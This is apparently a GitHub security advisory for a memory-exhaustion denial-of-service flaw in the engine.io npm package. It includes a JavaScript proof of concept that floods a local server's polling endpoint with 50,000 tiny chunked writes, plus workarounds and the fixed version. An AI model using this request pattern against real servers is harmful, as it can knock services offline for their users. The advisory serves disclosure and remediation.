GHSA-c8pq-854x-25q2

Suggest an improvement
Source
https://github.com/advisories/GHSA-c8pq-854x-25q2
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/12/GHSA-c8pq-854x-25q2/GHSA-c8pq-854x-25q2.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-c8pq-854x-25q2
Aliases
Published
2026-12-04T21:53:24Z
Modified
2026-12-05T18:48:25Z
Severity
  • 7.5 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H CVSS Calculator
Summary
Socket.IO: Engine.IO DoS via memory exhaustion
Details

Summary

A Denial-of-Service (DoS) vulnerability exists in Engine.IO server due to unbounded chunk buffering when processing polling POST requests.

This vulnerability primarily affects direct connections to the Engine.IO server (without a reverse proxy), as most reverse proxies (Nginx, HAProxy, Apache) will concatenate chunks before forwarding them to the backend. An attacker with direct access could send a request body split into many small chunks, forcing the server to create excessive string objects and causing memory exhaustion.

Proof of concept

import http from "node:http";
import { Server } from "engine.io";
import { Socket } from "engine.io-client";

// Start a vulnerable Engine.IO server
const engine = new Server();
const server = http.createServer();
engine.attach(server);

server.listen(3000, async () => {
  console.log("Vulnerable server listening on port 3000");

  // Create a connection first to get a session ID
  const client = new Socket("ws://localhost:3000", { transports: ["polling"] });
  await new Promise((resolve) => client.on("open", resolve));

  // Attacker: Send polling POST with many small chunks (exceeds safe buffer limit)
  const nodeReq = http.request(
    {
      hostname: "localhost",
      port: 3000,
      path: `/engine.io/?transport=polling&EIO=4&sid=${client.id}`,
      method: "POST",
      headers: {
        "Content-Type": "text/plain",
        "Transfer-Encoding": "chunked",
      },
    },
    (res) => {
      console.log("Response status:", res.statusCode);
      client.close();
      server.close();
    }
  );

  // Send many small chunks to exhaust memory
  for (let i = 0; i < 50_000; i++) {
    nodeReq.write("a");
  }
  nodeReq.end();
});

Expected Result: The server may run out of memory or experience severe performance degradation due to excessive string concatenation and chunk buffering.

Patches

Fixed in:

Workarounds

In vulnerable versions, the issue can be mitigated by:

  1. Using a reverse proxy (e.g., Nginx, HAProxy, Apache) - Most reverse proxies concatenate chunks before forwarding, effectively neutralizing this attack vector
  2. Limiting request body size at the reverse proxy level (e.g., Nginx client_max_body_size)
  3. Rate limiting connections per IP to prevent chunk flooding
  4. Disabling polling transport if your application only needs WebSocket:
const engine = new Server({
  transports: ["websocket"]
});

Note: These are temporary mitigations. Upgrading to engine.io@6.6.13 and above is the recommended fix.

Credits

The vulnerability was responsibly disclosed by Salih Çağlar İspirli.

Database specific
{
    "cwe_ids":  [
        "CWE-770"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-12-04T21:53:24Z",
    "nvd_published_at":  "2026-12-03T18:17:27Z",
    "severity":  "HIGH"
}
References

Affected packages

npm / engine.io

Package

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
6.6.13

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/12/GHSA-c8pq-854x-25q2/GHSA-c8pq-854x-25q2.json"